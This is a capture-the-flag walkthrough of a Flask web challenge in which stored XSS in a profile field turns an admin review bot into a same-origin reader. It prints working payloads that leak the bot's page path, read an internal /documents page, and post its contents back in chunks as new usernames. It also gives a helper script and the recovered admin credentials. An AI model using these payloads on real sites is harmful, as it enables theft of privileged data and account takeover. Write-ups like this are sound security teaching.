Museum
Museum
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: public_profile_enumeration, same_origin_form_exfiltration, stored_xss_context_exfiltration
Summary
Walkthrough of the CUSTOM Web Museum. Task: a Flask museum site with registration, profiles, and an admin review bot hid the real attack surface behind a public user page. Solution: exploit stored XSS in profile_name, leak the bot pathnam
Description
Museum
Target: http://62.173.140.174:16117
The challenge looked like a small Flask gallery application with registration, profile editing, and an admin panel. The useful hint was that user-facing profile data was reviewed by a bot, so the real goal was to find a stored client-side bug and turn the bot into a same-origin reader.
Analysis
Recon and route mapping
Initial browsing and route discovery gave the following endpoints:
//login/register/profile/gallery/logout/admin
Important observations during recon:
/adminexisted but returned 403 to a normal user./profileand/galleryaccepted some parameters, but those branches were red herrings.- The Flask session cookie made a weak
SECRET_KEYbrute force look tempting, but that path was unnecessary.
The first real bug was in profile_name. It was stored and later rendered without proper escaping, which immediately suggested stored XSS against the admin bot.
The misleading part: /profile was not what the bot rendered
At first I assumed the bot visited /profile, because that was the obvious user page in the interface. That assumption wasted time: payloads that only targeted /profile did not explain the bot behavior.
The breakthrough came from using the XSS only to exfiltrate the bot's current pathname.
Minimal context leak payload:
html read-only • copy allowed<img src=x onerror='fetch("/register",{ method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}, body:"username=ctx_"+encodeURIComponent(location.pathname)+"&password=Aa123456!&profile_name=x" })'>
After the bot rendered the malicious profile, the created username revealed:
text read-only • copy allowedctx_/user/19
So the bot was not opening /profile at all. It was rendering a hidden public profile page at:
text read-only • copy allowed/user/<id>
That explained why the visible UI had been misleading.
Enumerating public profiles
Once /user/<id> was known, I manually enumerated public profiles:
text read-only • copy allowed/user/1 /user/2 /user/3 ...
This was valuable because these pages were readable without authentication and preserved old user-generated content.
The key hit was /user/2, which contained an old XSS payload referencing /documents. That was the first sign that the application had an internal or legacy route not visible from normal navigation.
Probing /documents through the bot
Direct browsing was not enough, so the next step was to make the admin bot fetch /documents from its own authenticated same-origin context.
Direct exfiltration to an external server was not needed. Instead, the payload wrote data back into the application by repeatedly submitting hidden forms to /register, encoding chunks of the page body into new usernames.
Core idea:
- XSS runs in the bot on
/user/<id>. - The payload loads
/documentsin same origin. - It reads the response body.
- It chunks the text.
- Each chunk is sent back by creating a new user via
/register. - I enumerate the new public
/user/<id>entries and reconstruct the leaked data.
Concrete payload:
html read-only • copy allowed<script> async function leak(value, idx) { const frame = document.createElement('iframe'); frame.name = 'sink' + idx; frame.style.display = 'none'; document.body.appendChild(frame); const form = document.createElement('form'); form.method = 'POST'; form.action = '/register'; form.target = frame.name; form.style.display = 'none'; const safe = value.replace(/[^a-zA-Z0-9_:-]/g, '_').slice(0, 60); form.innerHTML = ` <input name="username" value="leak_${idx}_${safe}"> <input name="password" value="Aa123456!"> <input name="profile_name" value="x"> `; document.body.appendChild(form); form.submit(); } (async () => { const body = await fetch('/documents').then(r => r.text()); for (let i = 0; i < body.length; i += 40) { await leak(body.slice(i, i + 40), i / 40); } })(); </script>
This was enough to recover the interesting content from /documents. The important extracted line was:
text read-only • copy allowedadmin:nfjdhwbwjdisnsgauaddgd
Dead ends worth noting
- Accessing
/adminfrom the bot context still produced 403, so XSS alone did not immediately reveal the flag. - Query parameter experiments on
/profileand/gallerydid not contribute to the solve. - Flask secret-key brute force was a convincing decoy, but it was not required once the stored XSS path was understood.
Solution
Step 1: Create an account and store XSS in profile_name
Register a user and put the XSS payload into the profile_name field. The bot later renders the public page and executes the payload.
Example seed payload used to discover the real route:
html read-only • copy allowed<img src=x onerror='fetch("/register",{ method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}, body:"username=ctx_"+encodeURIComponent(location.pathname)+"&password=Aa123456!&profile_name=x" })'>
Result: the bot leaked location.pathname as /user/19.
Step 2: Enumerate public profiles
Browse /user/1, /user/2, and upward until interesting content appears. /user/2 contained an old payload mentioning /documents, which exposed the next target.
Step 3: Read /documents from bot context
Replace the discovery payload with a same-origin reader that fetches /documents and stores chunks in usernames through hidden form submissions to /register.
Example exfil logic:
html read-only • copy allowed<script> (async () => { const body = await fetch('/documents').then(r => r.text()); for (let i = 0; i < body.length; i += 40) { const chunk = body.slice(i, i + 40).replace(/[^a-zA-Z0-9_:-]/g, '_'); const form = document.createElement('form'); form.method = 'POST'; form.action = '/register'; form.innerHTML = ` <input name="username" value="dump_${i}_${chunk}"> <input name="password" value="Aa123456!"> <input name="profile_name" value="x"> `; document.body.appendChild(form); form.submit(); } })(); </script>
Reconstructing the chunks revealed:
text read-only • copy allowedadmin:nfjdhwbwjdisnsgauaddgd
Step 4: Log in as admin and open /admin
Those credentials were valid for the normal login flow:
text read-only • copy allowedusername: admin password: nfjdhwbwjdisnsgauaddgd
After logging in as admin, visiting /admin returned the flag.
Repro helper script
python read-only • copy allowed#!/usr/bin/env python3 import re import sys import requests BASE = "http://62.173.140.174:16117" ADMIN_USER = "admin" ADMIN_PASS = "nfjdhwbwjdisnsgauaddgd" DISCOVERY_PAYLOAD = r'''<img src=x onerror='fetch("/register",{ method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}, body:"username=ctx_"+encodeURIComponent(location.pathname)+"&password=Aa123456!&profile_name=x" })'>''' DOCUMENTS_PAYLOAD = r'''<script> (async () => { const body = await fetch('/documents').then(r => r.text()); for (let i = 0; i < body.length; i += 40) { const chunk = body.slice(i, i + 40).replace(/[^a-zA-Z0-9_:-]/g, '_'); const form = document.createElement('form'); form.method = 'POST'; form.action = '/register'; form.innerHTML = ` <input name="username" value="dump_${i}_${chunk}"> <input name="password" value="Aa123456!"> <input name="profile_name" value="x"> `; document.body.appendChild(form); form.submit(); } })(); </script>''' def login_admin(): s = requests.Session() r = s.post( f"{BASE}/login", data={"username": ADMIN_USER, "password": ADMIN_PASS}, allow_redirects=True, timeout=10, ) if r.status_code not in (200, 302): raise SystemExit(f"login failed: {r.status_code}") admin = s.get(f"{BASE}/admin", timeout=10) print(admin.text) m = re.search(r"CODEBY\{[^}]+\}", admin.text) if m: print(f"[+] Flag: {m.group(0)}") else: print("[-] Flag not found in /admin response") if __name__ == "__main__": print("[*] Use DISCOVERY_PAYLOAD in profile_name to leak bot pathname") print("[*] Then use DOCUMENTS_PAYLOAD in profile_name to exfiltrate /documents") print(f"[*] Recovered creds: {ADMIN_USER}:{ADMIN_PASS}") if len(sys.argv) > 1 and sys.argv[1] == "--login-admin": login_admin()
Key Takeaways / Lessons
- Mastering public_profile_enumeration, same_origin_form_exfiltration, stored_xss_context_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-31 • CUSTOM • Museum • Difficulty: Medium